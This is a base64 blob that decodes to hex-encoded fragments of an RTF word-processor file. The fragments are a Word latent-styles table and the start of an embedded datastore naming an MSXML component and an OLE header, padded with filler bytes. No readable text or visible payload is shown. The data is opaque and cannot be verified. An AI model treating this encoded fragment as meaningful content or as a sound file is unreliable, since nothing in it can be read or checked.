NjE2MzYzNjU2ZTc0MzUyMjIwNjE2MzYzNjU2ZTc0MzYzZDIyNjE2MzYzNjU2ZTc0MzYyMjIwNjg2 YzY5NmU2YjNkMjI2ODZjNjk2ZTZiMjIyMDY2NmY2YzQ4NmM2OTZlNmIzZDIyNjY2ZjZjNDg2YzY5 NmU2YjIyMmYzZX0NCntcKlxsYXRlbnRzdHlsZXNcbHNkc3RpbWF4MjY3XGxzZGxvY2tlZGRlZjBc bHNkc2VtaWhpZGRlbmRlZjFcbHNkdW5oaWRldXNlZGRlZjFcbHNkcWZvcm1hdGRlZjBcbHNkcHJp b3JpdHlkZWY5OXtcbHNkbG9ja2VkZXhjZXB0IFxsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNl ZDAgXGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTAgXGxzZGxvY2tlZDAgTm9ybWFsOw0KXGxzZHNl bWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5OSBcbHNk bG9ja2VkMCBoZWFkaW5nIDE7XGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTkgXGxzZGxvY2tlZDAg aGVhZGluZyAyO1xsc2RxZm9ybWF0MSBcbHNkcHJpb3JpdHk5IFxsc2Rsb2NrZWQwIGhlYWRpbmcg MztcbHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5OSBcbHNkbG9ja2VkMCBoZWFkaW5nIDQ7DQpcbHNk cWZvcm1hdDEgXGxzZHByaW9yaXR5OSBcbHNkbG9ja2VkMCBoZWFkaW5nIDU7XGxzZHFmb3JtYXQx IFxsc2Rwcmlvcml0eTkgXGxzZGxvY2tlZDAgaGVhZGluZyA2O1xsc2RxZm9ybWF0MSBcbHNkcHJp b3JpdHk5IFxsc2Rsb2NrZWQwIGhlYWRpbmcgNztcbHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5OSBc bHNkbG9ja2VkMCBoZWFkaW5nIDg7XGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTkgXGxzZGxvY2tl ZDAgaGVhZGluZyA5Ow0KXGxzZHByaW9yaXR5MzkgXGxzZGxvY2tlZDAgdG9jIDE7XGxzZHByaW9y aXR5MzkgXGxzZGxvY2tlZDAgdG9jIDI7XGxzZHByaW9yaXR5MzkgXGxzZGxvY2tlZDAgdG9jIDM7 XGxzZHByaW9yaXR5MzkgXGxzZGxvY2tlZDAgdG9jIDQ7XGxzZHByaW9yaXR5MzkgXGxzZGxvY2tl ZDAgdG9jIDU7XGxzZHByaW9yaXR5MzkgXGxzZGxvY2tlZDAgdG9jIDY7XGxzZHByaW9yaXR5Mzkg XGxzZGxvY2tlZDAgdG9jIDc7DQpcbHNkcHJpb3JpdHkzOSBcbHNkbG9ja2VkMCB0b2MgODtcbHNk cHJpb3JpdHkzOSBcbHNkbG9ja2VkMCB0b2MgOTtcbHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5MzUg XGxzZGxvY2tlZDAgY2FwdGlvbjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rx Zm9ybWF0MSBcbHNkcHJpb3JpdHkxMCBcbHNkbG9ja2VkMCBUaXRsZTtcbHNkcHJpb3JpdHkxIFxs c2Rsb2NrZWQwIERlZmF1bHQgUGFyYWdyYXBoIEZvbnQ7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVu aGlkZXVzZWQwIFxsc2RxZm9ybWF0MSBcbHNkcHJpb3JpdHkxMSBcbHNkbG9ja2VkMCBTdWJ0aXRs ZTtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2RxZm9ybWF0MSBcbHNkcHJpb3Jp dHkyMiBcbHNkbG9ja2VkMCBTdHJvbmc7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBc bHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5MjAgXGxzZGxvY2tlZDAgRW1waGFzaXM7DQpcbHNkc2Vt aWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTU5IFxsc2Rsb2NrZWQwIFRhYmxl IEdyaWQ7XGxzZHVuaGlkZXVzZWQwIFxsc2Rsb2NrZWQwIFBsYWNlaG9sZGVyIFRleHQ7XGxzZHNl bWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5MSBcbHNk bG9ja2VkMCBObyBTcGFjaW5nOw0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNk cHJpb3JpdHk2MCBcbHNkbG9ja2VkMCBMaWdodCBTaGFkaW5nO1xsc2RzZW1paGlkZGVuMCBcbHNk dW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjEgXGxzZGxvY2tlZDAgTGlnaHQgTGlzdDtcbHNkc2Vt aWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYyIFxsc2Rsb2NrZWQwIExpZ2h0 IEdyaWQ7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYzIFxs c2Rsb2NrZWQwIE1lZGl1bSBTaGFkaW5nIDE7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2Vk MCBcbHNkcHJpb3JpdHk2NCBcbHNkbG9ja2VkMCBNZWRpdW0gU2hhZGluZyAyO1xsc2RzZW1paGlk ZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjUgXGxzZGxvY2tlZDAgTWVkaXVtIExp c3QgMTsNClxsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjYgXGxz ZGxvY2tlZDAgTWVkaXVtIExpc3QgMjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxs c2Rwcmlvcml0eTY3IFxsc2Rsb2NrZWQwIE1lZGl1bSBHcmlkIDE7XGxzZHNlbWloaWRkZW4wIFxs c2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2OCBcbHNkbG9ja2VkMCBNZWRpdW0gR3JpZCAyOw0K XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2OSBcbHNkbG9ja2Vk MCBNZWRpdW0gR3JpZCAzO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9y aXR5NzAgXGxzZGxvY2tlZDAgRGFyayBMaXN0O1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNl ZDAgXGxzZHByaW9yaXR5NzEgXGxzZGxvY2tlZDAgQ29sb3JmdWwgU2hhZGluZzsNClxsc2RzZW1p aGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NzIgXGxzZGxvY2tlZDAgQ29sb3Jm dWwgTGlzdDtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTczIFxs c2Rsb2NrZWQwIENvbG9yZnVsIEdyaWQ7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBc bHNkcHJpb3JpdHk2MCBcbHNkbG9ja2VkMCBMaWdodCBTaGFkaW5nIEFjY2VudCAxOw0KXGxzZHNl bWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2MSBcbHNkbG9ja2VkMCBMaWdo dCBMaXN0IEFjY2VudCAxO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9y aXR5NjIgXGxzZGxvY2tlZDAgTGlnaHQgR3JpZCBBY2NlbnQgMTtcbHNkc2VtaWhpZGRlbjAgXGxz ZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYzIFxsc2Rsb2NrZWQwIE1lZGl1bSBTaGFkaW5nIDEg QWNjZW50IDE7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY0 IFxsc2Rsb2NrZWQwIE1lZGl1bSBTaGFkaW5nIDIgQWNjZW50IDE7XGxzZHNlbWloaWRkZW4wIFxs c2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NSBcbHNkbG9ja2VkMCBNZWRpdW0gTGlzdCAxIEFj Y2VudCAxO1xsc2R1bmhpZGV1c2VkMCBcbHNkbG9ja2VkMCBSZXZpc2lvbjsNClxsc2RzZW1paGlk ZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTM0IFxsc2Rsb2Nr ZWQwIExpc3QgUGFyYWdyYXBoO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHFm b3JtYXQxIFxsc2Rwcmlvcml0eTI5IFxsc2Rsb2NrZWQwIFF1b3RlO1xsc2RzZW1paGlkZGVuMCBc bHNkdW5oaWRldXNlZDAgXGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTMwIFxsc2Rsb2NrZWQwIElu dGVuc2UgUXVvdGU7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0 eTY2IFxsc2Rsb2NrZWQwIE1lZGl1bSBMaXN0IDIgQWNjZW50IDE7XGxzZHNlbWloaWRkZW4wIFxs c2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NyBcbHNkbG9ja2VkMCBNZWRpdW0gR3JpZCAxIEFj Y2VudCAxO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjggXGxz ZGxvY2tlZDAgTWVkaXVtIEdyaWQgMiBBY2NlbnQgMTsNClxsc2RzZW1paGlkZGVuMCBcbHNkdW5o aWRldXNlZDAgXGxzZHByaW9yaXR5NjkgXGxzZGxvY2tlZDAgTWVkaXVtIEdyaWQgMyBBY2NlbnQg MTtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTcwIFxsc2Rsb2Nr ZWQwIERhcmsgTGlzdCBBY2NlbnQgMTtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxs c2Rwcmlvcml0eTcxIFxsc2Rsb2NrZWQwIENvbG9yZnVsIFNoYWRpbmcgQWNjZW50IDE7DQpcbHNk c2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTcyIFxsc2Rsb2NrZWQwIENv bG9yZnVsIExpc3QgQWNjZW50IDE7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNk cHJpb3JpdHk3MyBcbHNkbG9ja2VkMCBDb2xvcmZ1bCBHcmlkIEFjY2VudCAxO1xsc2RzZW1paGlk ZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjAgXGxzZGxvY2tlZDAgTGlnaHQgU2hh ZGluZyBBY2NlbnQgMjsNClxsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9y aXR5NjEgXGxzZGxvY2tlZDAgTGlnaHQgTGlzdCBBY2NlbnQgMjtcbHNkc2VtaWhpZGRlbjAgXGxz ZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYyIFxsc2Rsb2NrZWQwIExpZ2h0IEdyaWQgQWNjZW50 IDI7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2MyBcbHNkbG9j a2VkMCBNZWRpdW0gU2hhZGluZyAxIEFjY2VudCAyOw0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhp ZGV1c2VkMCBcbHNkcHJpb3JpdHk2NCBcbHNkbG9ja2VkMCBNZWRpdW0gU2hhZGluZyAyIEFjY2Vu dCAyO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjUgXGxzZGxv Y2tlZDAgTWVkaXVtIExpc3QgMSBBY2NlbnQgMjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVz ZWQwIFxsc2Rwcmlvcml0eTY2IFxsc2Rsb2NrZWQwIE1lZGl1bSBMaXN0IDIgQWNjZW50IDI7DQpc bHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY3IFxsc2Rsb2NrZWQw IE1lZGl1bSBHcmlkIDEgQWNjZW50IDI7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBc bHNkcHJpb3JpdHk2OCBcbHNkbG9ja2VkMCBNZWRpdW0gR3JpZCAyIEFjY2VudCAyO1xsc2RzZW1p aGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjkgXGxzZGxvY2tlZDAgTWVkaXVt IEdyaWQgMyBBY2NlbnQgMjsNClxsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHBy aW9yaXR5NzAgXGxzZGxvY2tlZDAgRGFyayBMaXN0IEFjY2VudCAyO1xsc2RzZW1paGlkZGVuMCBc bHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NzEgXGxzZGxvY2tlZDAgQ29sb3JmdWwgU2hhZGlu ZyBBY2NlbnQgMjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTcy IFxsc2Rsb2NrZWQwIENvbG9yZnVsIExpc3QgQWNjZW50IDI7DQpcbHNkc2VtaWhpZGRlbjAgXGxz ZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTczIFxsc2Rsb2NrZWQwIENvbG9yZnVsIEdyaWQgQWNj ZW50IDI7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2MCBcbHNk bG9ja2VkMCBMaWdodCBTaGFkaW5nIEFjY2VudCAzO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRl dXNlZDAgXGxzZHByaW9yaXR5NjEgXGxzZGxvY2tlZDAgTGlnaHQgTGlzdCBBY2NlbnQgMzsNClxs c2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjIgXGxzZGxvY2tlZDAg TGlnaHQgR3JpZCBBY2NlbnQgMztcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rw cmlvcml0eTYzIFxsc2Rsb2NrZWQwIE1lZGl1bSBTaGFkaW5nIDEgQWNjZW50IDM7XGxzZHNlbWlo aWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NCBcbHNkbG9ja2VkMCBNZWRpdW0g U2hhZGluZyAyIEFjY2VudCAzOw0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNk cHJpb3JpdHk2NSBcbHNkbG9ja2VkMCBNZWRpdW0gTGlzdCAxIEFjY2VudCAzO1xsc2RzZW1paGlk ZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjYgXGxzZGxvY2tlZDAgTWVkaXVtIExp c3QgMiBBY2NlbnQgMztcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0 eTY3IFxsc2Rsb2NrZWQwIE1lZGl1bSBHcmlkIDEgQWNjZW50IDM7DQpcbHNkc2VtaWhpZGRlbjAg XGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY4IFxsc2Rsb2NrZWQwIE1lZGl1bSBHcmlkIDIg QWNjZW50IDM7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2OSBc bHNkbG9ja2VkMCBNZWRpdW0gR3JpZCAzIEFjY2VudCAzO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5o aWRldXNlZDAgXGxzZHByaW9yaXR5NzAgXGxzZGxvY2tlZDAgRGFyayBMaXN0IEFjY2VudCAzOw0K XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk3MSBcbHNkbG9ja2Vk MCBDb2xvcmZ1bCBTaGFkaW5nIEFjY2VudCAzO1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNl ZDAgXGxzZHByaW9yaXR5NzIgXGxzZGxvY2tlZDAgQ29sb3JmdWwgTGlzdCBBY2NlbnQgMztcbHNk c2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTczIFxsc2Rsb2NrZWQwIENv bG9yZnVsIEdyaWQgQWNjZW50IDM7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxs c2Rwcmlvcml0eTYwIFxsc2Rsb2NrZWQwIExpZ2h0IFNoYWRpbmcgQWNjZW50IDQ7XGxzZHNlbWlo aWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2MSBcbHNkbG9ja2VkMCBMaWdodCBM aXN0IEFjY2VudCA0O1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5 NjIgXGxzZGxvY2tlZDAgTGlnaHQgR3JpZCBBY2NlbnQgNDsNClxsc2RzZW1paGlkZGVuMCBcbHNk dW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjMgXGxzZGxvY2tlZDAgTWVkaXVtIFNoYWRpbmcgMSBB Y2NlbnQgNDtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY0IFxs c2Rsb2NrZWQwIE1lZGl1bSBTaGFkaW5nIDIgQWNjZW50IDQ7XGxzZHNlbWloaWRkZW4wIFxsc2R1 bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NSBcbHNkbG9ja2VkMCBNZWRpdW0gTGlzdCAxIEFjY2Vu dCA0Ow0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NiBcbHNk bG9ja2VkMCBNZWRpdW0gTGlzdCAyIEFjY2VudCA0O1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRl dXNlZDAgXGxzZHByaW9yaXR5NjcgXGxzZGxvY2tlZDAgTWVkaXVtIEdyaWQgMSBBY2NlbnQgNDtc bHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY4IFxsc2Rsb2NrZWQw IE1lZGl1bSBHcmlkIDIgQWNjZW50IDQ7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQw IFxsc2Rwcmlvcml0eTY5IFxsc2Rsb2NrZWQwIE1lZGl1bSBHcmlkIDMgQWNjZW50IDQ7XGxzZHNl bWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk3MCBcbHNkbG9ja2VkMCBEYXJr IExpc3QgQWNjZW50IDQ7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3Jp dHk3MSBcbHNkbG9ja2VkMCBDb2xvcmZ1bCBTaGFkaW5nIEFjY2VudCA0Ow0KXGxzZHNlbWloaWRk ZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk3MiBcbHNkbG9ja2VkMCBDb2xvcmZ1bCBM aXN0IEFjY2VudCA0O1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5 NzMgXGxzZGxvY2tlZDAgQ29sb3JmdWwgR3JpZCBBY2NlbnQgNDtcbHNkc2VtaWhpZGRlbjAgXGxz ZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYwIFxsc2Rsb2NrZWQwIExpZ2h0IFNoYWRpbmcgQWNj ZW50IDU7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYxIFxs c2Rsb2NrZWQwIExpZ2h0IExpc3QgQWNjZW50IDU7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1 c2VkMCBcbHNkcHJpb3JpdHk2MiBcbHNkbG9ja2VkMCBMaWdodCBHcmlkIEFjY2VudCA1O1xsc2Rz ZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjMgXGxzZGxvY2tlZDAgTWVk aXVtIFNoYWRpbmcgMSBBY2NlbnQgNTsNClxsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAg XGxzZHByaW9yaXR5NjQgXGxzZGxvY2tlZDAgTWVkaXVtIFNoYWRpbmcgMiBBY2NlbnQgNTtcbHNk c2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY1IFxsc2Rsb2NrZWQwIE1l ZGl1bSBMaXN0IDEgQWNjZW50IDU7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNk cHJpb3JpdHk2NiBcbHNkbG9ja2VkMCBNZWRpdW0gTGlzdCAyIEFjY2VudCA1Ow0KXGxzZHNlbWlo aWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NyBcbHNkbG9ja2VkMCBNZWRpdW0g R3JpZCAxIEFjY2VudCA1O1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9y aXR5NjggXGxzZGxvY2tlZDAgTWVkaXVtIEdyaWQgMiBBY2NlbnQgNTtcbHNkc2VtaWhpZGRlbjAg XGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY5IFxsc2Rsb2NrZWQwIE1lZGl1bSBHcmlkIDMg QWNjZW50IDU7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTcw IFxsc2Rsb2NrZWQwIERhcmsgTGlzdCBBY2NlbnQgNTtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlk ZXVzZWQwIFxsc2Rwcmlvcml0eTcxIFxsc2Rsb2NrZWQwIENvbG9yZnVsIFNoYWRpbmcgQWNjZW50 IDU7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk3MiBcbHNkbG9j a2VkMCBDb2xvcmZ1bCBMaXN0IEFjY2VudCA1Ow0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1 c2VkMCBcbHNkcHJpb3JpdHk3MyBcbHNkbG9ja2VkMCBDb2xvcmZ1bCBHcmlkIEFjY2VudCA1O1xs c2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjAgXGxzZGxvY2tlZDAg TGlnaHQgU2hhZGluZyBBY2NlbnQgNjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxs c2Rwcmlvcml0eTYxIFxsc2Rsb2NrZWQwIExpZ2h0IExpc3QgQWNjZW50IDY7DQpcbHNkc2VtaWhp ZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTYyIFxsc2Rsb2NrZWQwIExpZ2h0IEdy aWQgQWNjZW50IDY7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2 MyBcbHNkbG9ja2VkMCBNZWRpdW0gU2hhZGluZyAxIEFjY2VudCA2O1xsc2RzZW1paGlkZGVuMCBc bHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjQgXGxzZGxvY2tlZDAgTWVkaXVtIFNoYWRpbmcg MiBBY2NlbnQgNjsNClxsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5 NjUgXGxzZGxvY2tlZDAgTWVkaXVtIExpc3QgMSBBY2NlbnQgNjtcbHNkc2VtaWhpZGRlbjAgXGxz ZHVuaGlkZXVzZWQwIFxsc2Rwcmlvcml0eTY2IFxsc2Rsb2NrZWQwIE1lZGl1bSBMaXN0IDIgQWNj ZW50IDY7XGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk2NyBcbHNk bG9ja2VkMCBNZWRpdW0gR3JpZCAxIEFjY2VudCA2Ow0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhp ZGV1c2VkMCBcbHNkcHJpb3JpdHk2OCBcbHNkbG9ja2VkMCBNZWRpdW0gR3JpZCAyIEFjY2VudCA2 O1xsc2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NjkgXGxzZGxvY2tl ZDAgTWVkaXVtIEdyaWQgMyBBY2NlbnQgNjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQw IFxsc2Rwcmlvcml0eTcwIFxsc2Rsb2NrZWQwIERhcmsgTGlzdCBBY2NlbnQgNjsNClxsc2RzZW1p aGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHByaW9yaXR5NzEgXGxzZGxvY2tlZDAgQ29sb3Jm dWwgU2hhZGluZyBBY2NlbnQgNjtcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxsc2Rw cmlvcml0eTcyIFxsc2Rsb2NrZWQwIENvbG9yZnVsIExpc3QgQWNjZW50IDY7XGxzZHNlbWloaWRk ZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcHJpb3JpdHk3MyBcbHNkbG9ja2VkMCBDb2xvcmZ1bCBH cmlkIEFjY2VudCA2Ow0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhpZGV1c2VkMCBcbHNkcWZvcm1h dDEgXGxzZHByaW9yaXR5MTkgXGxzZGxvY2tlZDAgU3VidGxlIEVtcGhhc2lzO1xsc2RzZW1paGlk ZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTIxIFxsc2Rsb2Nr ZWQwIEludGVuc2UgRW1waGFzaXM7DQpcbHNkc2VtaWhpZGRlbjAgXGxzZHVuaGlkZXVzZWQwIFxs c2RxZm9ybWF0MSBcbHNkcHJpb3JpdHkzMSBcbHNkbG9ja2VkMCBTdWJ0bGUgUmVmZXJlbmNlO1xs c2RzZW1paGlkZGVuMCBcbHNkdW5oaWRldXNlZDAgXGxzZHFmb3JtYXQxIFxsc2Rwcmlvcml0eTMy IFxsc2Rsb2NrZWQwIEludGVuc2UgUmVmZXJlbmNlOw0KXGxzZHNlbWloaWRkZW4wIFxsc2R1bmhp ZGV1c2VkMCBcbHNkcWZvcm1hdDEgXGxzZHByaW9yaXR5MzMgXGxzZGxvY2tlZDAgQm9vayBUaXRs ZTtcbHNkcHJpb3JpdHkzNyBcbHNkbG9ja2VkMCBCaWJsaW9ncmFwaHk7XGxzZHFmb3JtYXQxIFxs c2Rwcmlvcml0eTM5IFxsc2Rsb2NrZWQwIFRPQyBIZWFkaW5nO319e1wqXGRhdGFzdG9yZSAwMTA1 MDAwMDAyMDAwMDAwMTgwMDAwMDANCjRkNzM3ODZkNmMzMjJlNTM0MTU4NTg0ZDRjNTI2NTYxNjQ2 NTcyMmUzNTJlMzAwMDAwMDAwMDAwMDAwMDAwMDAwMDA2MDAwMA0KZDBjZjExZTBhMWIxMWFlMTAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM2UwMDAzMDBmZWZmMDkwMDA2MDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAxMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAwMTAwMDAwZmVmZmZmZmYwMDAw MDAwMGZlZmZmZmZmMDAwMDAwMDAwMDAwMDAwMGZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmDQpmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYNCmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm 